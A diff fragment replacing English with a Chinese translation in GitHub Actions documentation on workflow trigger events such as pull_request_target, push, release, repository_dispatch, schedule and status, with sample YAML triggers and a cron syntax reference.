[`issue_comment`](#issue_comment) 事件。 对于与拉取请求审查或拉取请求审查注释相关的活动,请使用 [`pull_request_review`](#pull_request_review) 或 [`pull_request_review_comment`](#pull_request_review_comment) 事件。 ### `pull_request_review` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`pull_request_review`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request_review) | - `submitted`
- `edited`
- `dismissed` | Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` | +| [`pull_request_review`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request_review) | - `submitted`
- `edited`
- `dismissed` | `GITHUB_REF` 分支上的最后一次合并提交 | PR 合并分支 `refs/pull/:prNumber/merge` | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_review)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_review)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} -Runs your workflow when a pull request review is submitted, edited, or dismissed. A pull request review is a group of pull request review comments in addition to a body comment and a state. For activity related to pull request review comments or pull request comments, use the [`pull_request_review_comment`](#pull_request_review_comment) or [`issue_comment`](#issue_comment) events instead. For information about the pull request review APIs, see "[PullRequestReview](/graphql/reference/objects#pullrequest)" in the GraphQL API documentation or "[Pull request reviews](/rest/reference/pulls#reviews)" in the REST API documentation. +在提交、编辑或关闭拉取请求审阅时运行工作流程。 拉取请求审查是除正文评论和状态之外的一组拉取请求审查评论。 对于与拉取请求审查注释或拉取请求注释相关的活动,请改用 [`pull_request_review_comment`](#pull_request_review_comment) 或 [`issue_comment`](#issue_comment) 事件。 有关拉取请求审查 API 的信息,请参阅 GraphQL API 文档中的“[PullRequestReview](/graphql/reference/objects#pullrequest)”或 REST API 文档中的“[拉取请求审查](/rest/reference/pulls#reviews)”。 -For example, you can run a workflow when a pull request review has been `edited` or `dismissed`. +例如,可以在拉取请求审查的状态为 `edited` 或 `dismissed` 时运行工作流。 ```yaml on: @@ -753,9 +752,9 @@ on: types: [edited, dismissed] ``` -#### Running a workflow when a pull request is approved +#### 在批准拉取请求时运行工作流程 -To run your workflow when a pull request has been approved, you can trigger your workflow with the `submitted` type of `pull_request_review` event, then check the review state with the `github.event.review.state` property. For example, this workflow will run whenever a pull request review is submitted, but the `approved` job will only run if the submitted review is an approving review: +若要在拉取请求获得批准后运行工作流,可以使用 `submitted` 类型的 `pull_request_review` 事件触发工作流,然后使用 `github.event.review.state` 属性检查审查状态。 例如,每当提交拉取请求审查时,此工作流都将运行,但仅当提交的审查是批准审查时,`approved` 作业才会运行: ```yaml on: @@ -774,19 +773,19 @@ jobs: ### `pull_request_review_comment` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`pull_request_review_comment`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request_review_comment) | - `created`
- `edited`
- `deleted`| Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` | +| [`pull_request_review_comment`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request_review_comment) | - `created`
- `edited`
- `deleted`| `GITHUB_REF` 分支上的最后一次合并提交 | PR 合并分支 `refs/pull/:prNumber/merge` | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_review_comment)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_review_comment)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} -Runs your workflow when a pull request review comment is modified. A pull request review comment is a comment on a pull request's diff. For activity related to pull request reviews or pull request comments, use the [`pull_request_review`](#pull_request_review) or [`issue_comment`](#issue_comment) events instead. For information about the pull request review comment APIs, see "[PullRequestReviewComment](/graphql/reference/objects#pullrequestreviewcomment)" in the GraphQL API documentation or "[Review comments](/rest/reference/pulls#comments)" in the REST API documentation. +在修改拉取请求审查评论时运行工作流程。 拉取请求审查评论是对拉取请求差异的评论。 对于与拉取请求审查或拉取请求注释相关的活动,请改用 [`pull_request_review`](#pull_request_review) 或 [`issue_comment`](#issue_comment) 事件。 有关拉取请求审查注释 API 的信息,请参阅 GraphQL API 文档中的“[PullRequestReviewComment](/graphql/reference/objects#pullrequestreviewcomment)”或 REST API 文档中的“[审查注释](/rest/reference/pulls#comments)”。 -For example, you can run a workflow when a pull request review comment has been `created` or `deleted`. +例如,可以在拉取请求审查注释的状态为 `created` 或 `deleted` 时运行工作流。 ```yaml on: @@ -798,29 +797,27 @@ on: ### `pull_request_target` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`pull_request`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request) | - `assigned`
- `unassigned`
- `labeled`
- `unlabeled`
- `opened`
- `edited`
- `closed`
- `reopened`
- `synchronize`
- `converted_to_draft`
- `ready_for_review`
- `locked`
- `unlocked`
- `review_requested`
- `review_request_removed`
- `auto_merge_enabled`
- `auto_merge_disabled` | Last commit on the PR base branch | PR base branch | +| [`pull_request`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request) | - `assigned`
- `unassigned`
- `labeled`
- `unlabeled`
- `opened`
- `edited`
- `closed`
- `reopened`
- `synchronize`
- `converted_to_draft`
- `ready_for_review`
- `locked`
- `unlocked`
- `review_requested`
- `review_request_removed`
- `auto_merge_enabled`
- `auto_merge_disabled` | PR 基分支上的最后一次提交 | PR 基础分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_target)." By default, a workflow only runs when a `pull_request_target` event's activity type is `opened`, `synchronize`, or `reopened`. To trigger workflows by different activity types, use the `types` keyword. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes)." +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_target)”。 默认情况下,工作流仅在 `pull_request_target` 事件的活动类型为 `opened`、`synchronize` 或 `reopened` 时运行。 要按不同的活动类型触发工作流,请使用 `types` 关键字。 有关详细信息,请参阅“[{% data variables.product.prodname_actions %} 的工作流语法](/articles/workflow-syntax-for-github-actions#onevent_nametypes)”。 {% endnote %} -Runs your workflow when activity on a pull request in the workflow's repository occurs. For example, if no activity types are specified, the workflow runs when a pull request is opened or reopened or when the head branch of the pull request is updated. +在工作流程存储库中发生有关拉取请求的活动时运行工作流程。 例如,如果未指定任何活动类型,则工作流程将在打开或重新打开拉取请求时运行,或者在更新拉取请求的头部分支时运行。 -This event runs in the context of the base of the pull request, rather than in the context of the merge commit, as the `pull_request` event does. This prevents execution of unsafe code from the head of the pull request that could alter your repository or steal any secrets you use in your workflow. This event allows your workflow to do things like label or comment on pull requests from forks. Avoid using this event if you need to build or run code from the pull request. - -To ensure repository security, branches with names that match certain patterns (such as those which look similar to SHAs) may not trigger workflows with the `pull_request_target` event. +此事件在拉取请求基础的上下文中运行,而不是像 `pull_request` 事件一样在合并提交上下文中运行。 这样可以防止从拉取请求的头部执行不安全的代码,以免更改您的仓库或窃取您在工作流程中使用的任何机密。 此事件允许您的工作流程对来自复刻的拉取请求执行标记或评论等操作。 如果需要从拉取请求构建或运行代码,请避免使用此事件。 {% warning %} -**Warning:** For workflows that are triggered by the `pull_request_target` event, the `GITHUB_TOKEN` is granted read/write repository permission unless the `permissions` key is specified and the workflow can access secrets, even when it is triggered from a fork. Although the workflow runs in the context of the base of the pull request, you should make sure that you do not check out, build, or run untrusted code from the pull request with this event. Additionally, any caches share the same scope as the base branch. To help prevent cache poisoning, you should not save the cache if there is a possibility that the cache contents were altered. For more information, see "[Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" on the GitHub Security Lab website. +警告:对于由 `pull_request_target` 事件触发的工作流,将授予 `GITHUB_TOKEN` 读/写存储库权限,除非指定了 `permissions` 密钥并且工作流可以访问机密,即使从分支触发也是如此。 虽然工作流程在拉取请求的基础上下文中运行,但您应该确保不在此事件中检出、生成或运行来自拉取请求的不受信任代码。 此外,任何缓存都与基本分支共享相同的作用域。 为帮助防止缓存中毒,如果缓存内容可能已更改,则不应保存缓存。 有关详细信息,请参阅 GitHub Security Lab 网站上的“[确保 GitHub Actions 和工作流安全:阻止 pwn 请求](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)”。 {% endwarning %} -For example, you can run a workflow when a pull request has been `assigned`, `opened`, `synchronize`, or `reopened`. +例如,可以在拉取请求的状态为 `assigned`、`opened`、`synchronize` 或 `reopened` 时运行工作流。 ```yaml on: @@ -828,11 +825,11 @@ on: types: [assigned, opened, synchronize, reopened] ``` -#### Running your workflow based on the head or base branch of a pull request +#### 基于拉取请求的头部分支或基本分支运行工作流程 -You can use the `branches` or `branches-ignore` filter to configure your workflow to only run on pull requests that target specific branches. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore)." +可以使用 `branches` 或 `branches-ignore` 筛选器配置工作流,使其仅在面向特定分支的拉取请求上运行。 有关详细信息,请参阅“[GitHub Actions 的工作流语法](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore)”。 -For example, this workflow will run when someone opens a pull request that targets a branch whose name starts with `releases/`: +例如,当有人打开面向名称以 `releases/` 开头的分支的拉取请求时,此工作流将运行: ```yaml on: @@ -845,7 +842,7 @@ on: {% note %} -**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`: +注意:{% data reusables.actions.branch-paths-filter %} 例如,仅当在名称以 `releases/` 开头的分支上打开包含 JavaScript (`.js`) 文件更改的拉取请求时,才会运行以下工作流: ```yaml on: @@ -860,7 +857,7 @@ on: {% endnote %} -To run a job based on the pull request's head branch name (as opposed to the pull request's base branch name), use the `github.head_ref` context in a conditional. For example, this workflow will run whenever a pull request is opened, but the `run_if` job will only execute if the head of the pull request is a branch whose name starts with `releases/`: +要基于拉取请求的头部分支名称(而不是拉取请求的基本分支名称)运行作业,请在条件中使用 `github.head_ref` 上下文。 例如,每当打开拉取请求时,此工作流都会运行,但仅当拉取请求的头部是名称以 `releases/` 开头的分支时,才会执行 `run_if` 作业: ```yaml on: @@ -875,11 +872,11 @@ jobs: - run: echo "The head of this PR starts with 'releases/'" ``` -#### Running your workflow based on files changed in a pull request +#### 根据拉取请求中更改的文件运行工作流程 -You can use the `paths` or `paths-ignore` filter to configure your workflow to run when a pull request changes specific files. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)." +可以使用 `paths` 或 `paths-ignore` 筛选器配置工作流,使其在拉取请求更改特定文件时运行。 有关详细信息,请参阅“[GitHub Actions 的工作流语法](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)”。 -For example, this workflow will run when a pull request includes a change to a JavaScript file (`.js`): +例如,当拉取请求包含对 JavaScript 文件 (`.js`) 的更改时,此工作流将运行: ```yaml on: @@ -890,7 +887,7 @@ on: {% note %} -**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`: +注意:{% data reusables.actions.branch-paths-filter %} 例如,仅当在名称以 `releases/` 开头的分支上打开包含 JavaScript (`.js`) 文件更改的拉取请求时,才会运行以下工作流: ```yaml on: @@ -905,9 +902,9 @@ on: {% endnote %} -#### Running your workflow when a pull request merges +#### 在拉取请求合并时运行工作流程 -When a pull request merges, the pull request is automatically closed. To run a workflow when a pull request merges, use the `pull_request_target` `closed` event type along with a conditional that checks the `merged` value of the event. For example, the following workflow will run whenever a pull request closes. The `if_merged` job will only run if the pull request was also merged. +当拉取请求合并时,拉取请求将自动关闭。 要在拉取请求合并时运行工作流,请使用 `pull_request_target` `closed` 事件类型以及检查事件 `merged` 值的条件。 例如,每当拉取请求关闭时,将运行以下工作流程。 仅当拉取请求也合并时,`if_merged` 作业才会运行。 ```yaml on: @@ -926,25 +923,25 @@ jobs: ### `push` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`push`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#push) | n/a | When you delete a branch, the SHA in the workflow run (and its associated refs) reverts to the default branch of the repository. | Updated ref | +| [`push`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#push) | 不适用 | 删除分支时,工作流运行中的 SHA(及其关联的 refs)将恢复为存储库的默认分支。 | 更新的引用 | {% note %} -**Note:** The webhook payload available to GitHub Actions does not include the `added`, `removed`, and `modified` attributes in the `commit` object. You can retrieve the full commit object using the API. For information, see "[Commit](/graphql/reference/objects#commit)" in the GraphQL API documentation or "[Get a commit](/rest/reference/commits#get-a-commit)" in the REST API documentation. +注意:可用于 GitHub Actions 的 Webhook 有效负载不包括 `commit` 对象中的 `added`、`removed` 和 `modified` 属性。 您可以使用 API 检索完整的提交对象。 有关信息,请参阅 GraphQL API 文档中的“[提交](/graphql/reference/objects#commit)”或 REST API 文档中的“[获取提交](/rest/reference/commits#get-a-commit)”。 {% endnote %} {% note %} -**Note**: An event will not be created when you push more than three tags at once. +注意:一次推送三个以上的标记时,不会创建事件。 {% endnote %} -Runs your workflow when you push a commit or tag. +在推送提交或标记时运行工作流程。 -For example, you can run a workflow when the `push` event occurs. +例如,可以在发生 `push` 事件时运行工作流。 ```yaml on: @@ -953,15 +950,15 @@ on: {% note %} -**Note**: When a `push` webhook event triggers a workflow run, the Actions UI's "pushed by" field shows the account of the pusher and not the author or committer. However, if the changes are pushed to a repository using SSH authentication with a deploy key, then the "pushed by" field will be the repository admin who verified the deploy key when it was added it to a repository. +注意:当 `push` Webhook 事件触发工作流运行时,操作 UI 的“推送者”字段会显示推送者的帐户,而不是作者或提交者的帐户。 但是,如果使用带有部署密钥的 SSH 身份验证将更改推送到存储库,则“推送者”字段将是在将部署密钥添加到存储库时验证部署密钥的存储库管理员。 {% endnote %} -#### Running your workflow only when a push to specific branches occurs +#### 仅在推送到特定分支时运行工作流程 -You can use the `branches` or `branches-ignore` filter to configure your workflow to only run when specific branches are pushed. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore)." +可以使用 `branches` 或 `branches-ignore` 筛选器配置工作流,使其仅在推送特定分支时运行。 有关详细信息,请参阅“[GitHub Actions 的工作流语法](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore)”。 -For example, this workflow will run when someone pushes to `main` or to a branch that starts with `releases/`. +例如,当有人推送到 `main` 或推送到以 `releases/` 开头的分支时,此工作流将运行。 ```yaml on: @@ -973,7 +970,7 @@ on: {% note %} -**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a push that includes a change to a JavaScript (`.js`) file is made to a branch whose name starts with `releases/`: +注意:{% data reusables.actions.branch-paths-filter %} 例如,仅在将包含 JavaScript (`.js`) 文件更改的推送发送到名称以 `releases/` 开头的分支时,以下工作流才会运行: ```yaml on: @@ -986,11 +983,11 @@ on: {% endnote %} -#### Running your workflow only when a push of specific tags occurs +#### 仅在发生特定标记的推送时运行工作流程 -You can use the `tags` or `tags-ignore` filter to configure your workflow to only run when specific tags are pushed. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore)." +可以使用 `tags` 或 `tags-ignore` 筛选器配置工作流,使其仅在推送特定标记时运行。 有关详细信息,请参阅“[GitHub Actions 的工作流语法](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore)”。 -For example, this workflow will run when someone pushes a tag that starts with `v1.`. +例如,当有人推送以 `v1.` 开头的标记时,此工作流将运行。 ```yaml on: @@ -999,11 +996,11 @@ on: - v1.** ``` -#### Running your workflow only when a push affects specific files +#### 仅当推送影响特定文件时才运行工作流程 -You can use the `paths` or `paths-ignore` filter to configure your workflow to run when a push to specific files occurs. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)." +可以使用 `paths` 或 `paths-ignore` 筛选器配置工作流,使其在推送到特定文件时运行。 有关详细信息,请参阅“[GitHub Actions 的工作流语法](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)”。 -For example, this workflow will run when someone pushes a change to a JavaScript file (`.js`): +例如,当有人将更改推送到 JavaScript 文件 (`.js`) 时,此工作流将运行: ```yaml on: @@ -1014,7 +1011,7 @@ on: {% note %} -**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a push that includes a change to a JavaScript (`.js`) file is made to a branch whose name starts with `releases/`: +注意:{% data reusables.actions.branch-paths-filter %} 例如,仅在将包含 JavaScript (`.js`) 文件更改的推送发送到名称以 `releases/` 开头的分支时,以下工作流才会运行: ```yaml on: @@ -1029,21 +1026,21 @@ on: ### `registry_package` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`registry_package`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#package) | - `published`
- `updated` | Commit of the published package | Branch or tag of the published package | +| [`registry_package`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#package) | - `published`
- `updated` | Commit of the published package | 已发布软件包的分支或标签 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#registry_package)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#registry_package)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} {% data reusables.actions.branch-requirement %} -Runs your workflow when activity related to {% data variables.product.prodname_registry %} occurs in your repository. For more information, see "[{% data variables.product.prodname_registry %} Documentation](/packages)." +当存储库中发生与 {% data variables.product.prodname_registry %} 相关的活动时运行工作流程。 有关详细信息,请参阅“[{% data variables.product.prodname_registry %} 文档](/packages)”。 -For example, you can run a workflow when a new package version has been `published`. +例如,可以在新包版本状态为 `published` 时运行工作流。 ```yaml on: @@ -1053,31 +1050,31 @@ on: ### `release` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`release`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#release) | - `published`
- `unpublished`
- `created`
- `edited`
- `deleted`
- `prereleased`
- `released` | Last commit in the tagged release | Tag ref of release `refs/tags/` | +| [`release`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#release) | - `published`
- `unpublished`
- `created`
- `edited`
- `deleted`
- `prereleased`
- `released` | 标记的发行版中的最新提交 | 版本的标记参考 `refs/tags/` | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#release)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#release)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} {% note %} -**Note:** Workflows are not triggered for the `created`, `edited`, or `deleted` activity types for draft releases. When you create your release through the {% data variables.product.product_name %} browser UI, your release may automatically be saved as a draft. +注意:草稿版本的 `created`、`edited` 或 `deleted` 活动类型不会触发工作流。 当您通过 {% data variables.product.product_name %} 浏览器 UI 创建版本时,您的版本可能会自动另存为草稿。 {% endnote %} {% note %} -**Note:** The `prereleased` type will not trigger for pre-releases published from draft releases, but the `published` type will trigger. If you want a workflow to run when stable *and* pre-releases publish, subscribe to `published` instead of `released` and `prereleased`. +注意:对于从草稿版本发布的预发行版本,`prereleased` 类型不会触发工作流,但 `published` 类型会触发。 如果想要在稳定版和预发行版发布时运行工作流,请订阅 `published` 而不是 `released` 和 `prereleased`。 {% endnote %} -Runs your workflow when release activity in your repository occurs. For information about the release APIs, see "[Release](/graphql/reference/objects#release)" in the GraphQL API documentation or "[Releases](/rest/reference/releases)" in the REST API documentation. +在存储库中发生发布活动时运行工作流程。 有关版本 API 的信息,请参阅 GraphQL API 文档中的“[版本](/graphql/reference/objects#release)”或 REST API 文档中的“[版本](/rest/reference/releases)”。 -For example, you can run a workflow when a release has been `published`. +例如,可以在版本状态为 `published` 时运行工作流。 ```yaml on: @@ -1087,15 +1084,15 @@ on: ### `repository_dispatch` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | ------------------ | ------------ | ------------ | ------------------| -| [repository_dispatch](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#repository_dispatch) | Custom | Last commit on default branch | Default branch | +| [repository_dispatch](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#repository_dispatch) | 自定义 | 默认分支上的最新提交 | 默认分支 | {% data reusables.actions.branch-requirement %} -You can use the {% data variables.product.product_name %} API to trigger a webhook event called [`repository_dispatch`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#repository_dispatch) when you want to trigger a workflow for activity that happens outside of {% data variables.product.product_name %}. For more information, see "[Create a repository dispatch event](/rest/reference/repos#create-a-repository-dispatch-event)." +若想要触发 {% data variables.product.product_name %} 外部发生的活动的工作流,可以使用 {% data variables.product.product_name %} API 触发名为 [`repository_dispatch`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#repository_dispatch) 的 Webhook 事件。 有关详细信息,请参阅“[创建存储库调度事件](/rest/reference/repos#create-a-repository-dispatch-event)”。 -When you make a request to create a `repository_dispatch` event, you must specify an `event_type` to describe the activity type. By default, all `repository_dispatch` activity types trigger a workflow to run. You can use the `types` keyword to limit your workflow to run when a specific `event_type` value is sent in the `repository_dispatch` webhook payload. +发出创建 `repository_dispatch` 事件的请求时,必须指定 `event_type` 来描述活动类型。 默认情况下,所有 `repository_dispatch` 活动类型都会触发一个工作流运行。 可以使用 `types` 关键字限制工作流,使其在 `repository_dispatch` Webhook 有效负载中发送特定 `event_type` 值时运行。 ```yaml on: @@ -1105,11 +1102,11 @@ on: {% note %} -**Note:** The `event_type` value is limited to 100 characters. +注意:`event_type` 值仅限 100 个字符。 {% endnote %} -Any data that you send through the `client_payload` parameter will be available in the `github.event` context in your workflow. For example, if you send this request body when you create a repository dispatch event: +通过 `client_payload` 参数发送的任何数据都将在工作流的 `github.event` 上下文中可用。 例如,如果在创建存储库调度事件时发送此请求正文: ```json { @@ -1121,7 +1118,7 @@ Any data that you send through the `client_payload` parameter will be available } ``` -then you can access the payload in a workflow like this: +则您可以在如下工作流程中访问有效负载: ```yaml on: @@ -1140,17 +1137,17 @@ jobs: ### `schedule` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| n/a | n/a | Last commit on default branch | Default branch | When the scheduled workflow is set to run. A scheduled workflow uses [POSIX cron syntax](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07). For more information, see "[Triggering a workflow with events](/articles/configuring-a-workflow/#triggering-a-workflow-with-events)." | +| 不适用 | 不适用 | 默认分支上的最新提交 | 默认分支 | 当预定的工作流程设置为运行时。 计划工作流使用 [POSIX cron 语法](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07)。 有关详细信息,请参阅“[使用事件触发工作流](/articles/configuring-a-workflow/#triggering-a-workflow-with-events)”。 | {% data reusables.actions.schedule-delay %} -The `schedule` event allows you to trigger a workflow at a scheduled time. +通过 `schedule` 事件,可以在计划的时间触发工作流。 {% data reusables.repositories.actions-scheduled-workflow-example %} -Cron syntax has five fields separated by a space, and each field represents a unit of time. +计划任务语法有五个字段,中间用空格分隔,每个字段代表一个时间单位。 ``` ┌───────────── minute (0 - 59) @@ -1164,43 +1161,43 @@ Cron syntax has five fields separated by a space, and each field represents a un * * * * * ``` -You can use these operators in any of the five fields: +您可在这五个字段中使用以下运算符: -| Operator | Description | Example | +| 运算符 | 说明 | 示例 | | -------- | ----------- | ------- | -| * | Any value | `15 * * * *` runs at every minute 15 of every hour of every day. | -| , | Value list separator | `2,10 4,5 * * *` runs at minute 2 and 10 of the 4th and 5th hour of every day. | -| - | Range of values | `30 4-6 * * *` runs at minute 30 of the 4th, 5th, and 6th hour. | -| / | Step values | `20/15 * * * *` runs every 15 minutes starting from minute 20 through 59 (minutes 20, 35, and 50). | +| * | 任何值 | `15 * * * *` 在每天每小时的每个第 15 分钟运行。 | +| , | 值列表分隔符 | `2,10 4,5 * * *` 在每天第 4 和第 5 小时的第 2 和第 10 分钟运行。 | +| - | 值的范围 | `30 4-6 * * *` 在第 4、5 和 6 小时的第 30 分钟运行。 | +| / | 步骤值 | `20/15 * * * *` 在第 20 分钟到第 59 分钟每隔 15 分钟运行一次(第 20、35 和 50 分钟)。 | {% note %} -**Note:** {% data variables.product.prodname_actions %} does not support the non-standard syntax `@yearly`, `@monthly`, `@weekly`, `@daily`, `@hourly`, and `@reboot`. +注意:{% data variables.product.prodname_actions %} 不支持非标准语法 `@yearly`、`@monthly`、`@weekly`、`@daily`、`@hourly` 和 `@reboot`。 {% endnote %} -You can use [crontab guru](https://crontab.guru/) to help generate your cron syntax and confirm what time it will run. To help you get started, there is also a list of [crontab guru examples](https://crontab.guru/examples.html). +可以使用 [crontab guru](https://crontab.guru/) 帮助生成 cron 语法并确认其运行时间。 为了帮助入门,我们还提供了 [crontab guru 示例](https://crontab.guru/examples.html)列表。 -Notifications for scheduled workflows are sent to the user who last modified the cron syntax in the workflow file. For more information, see "[Notifications for workflow runs](/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs)." +计划工作流程的通知将发送给最后修改工作流程文件中的 cron 语法的用户。 有关详细信息,请参阅“[工作流运行通知](/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs)”。 ### `status` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`status`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#status) | n/a | Last commit on default branch | n/a | +| [`status`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#status) | 不适用 | 默认分支上的最新提交 | 不适用 | {% data reusables.actions.branch-requirement %} -Runs your workflow when the status of a Git commit changes. For example, commits can be marked as `error`, `failure`, `pending`, or `success`. If you want to provide more details about the status change, you may want to use the [`check_run`](#check_run) event. For information about the commit status APIs, see "[Status](/graphql/reference/objects#status)" in the GraphQL API documentation or "[Statuses](/rest/reference/commits#commit-statuses)" in the REST API documentation. +在 Git 提交状态更改时运行工作流程。 例如,可以将提交标记为 `error`、`failure`、`pending` 或 `success`。 如果要提供有关状态更改的更多详细信息,可能需要使用 [`check_run`](#check_run) 事件。 有关提交状态 API 的信息,请参阅 GraphQL API 文档中的“[状态](/graphql/reference/objects#statue)”或 REST API 文档中的“[状态](/rest/reference/commits#commit-statuses)”。 -For example, you can run a workflow when the `status` event occurs. +例如,可以在发生 `status` 事件时运行工作流。 ```yaml on: status ``` -If you want to run a job in your workflow based on the new commit state, you can use the `github.event.state` context. For example, the following workflow triggers when a commit status changes, but the `if_error_or_failure` job only runs if the new commit state is `error` or `failure`. +如果要基于新的提交状态在工作流中运行作业,可以使用 `github.event.state` 上下文。 例如,以下工作流在提交状态发生更改时触发,但 `if_error_or_failure` 作业仅在新的提交状态为 `error` 或 `failure` 时才运行。 ```yaml on: 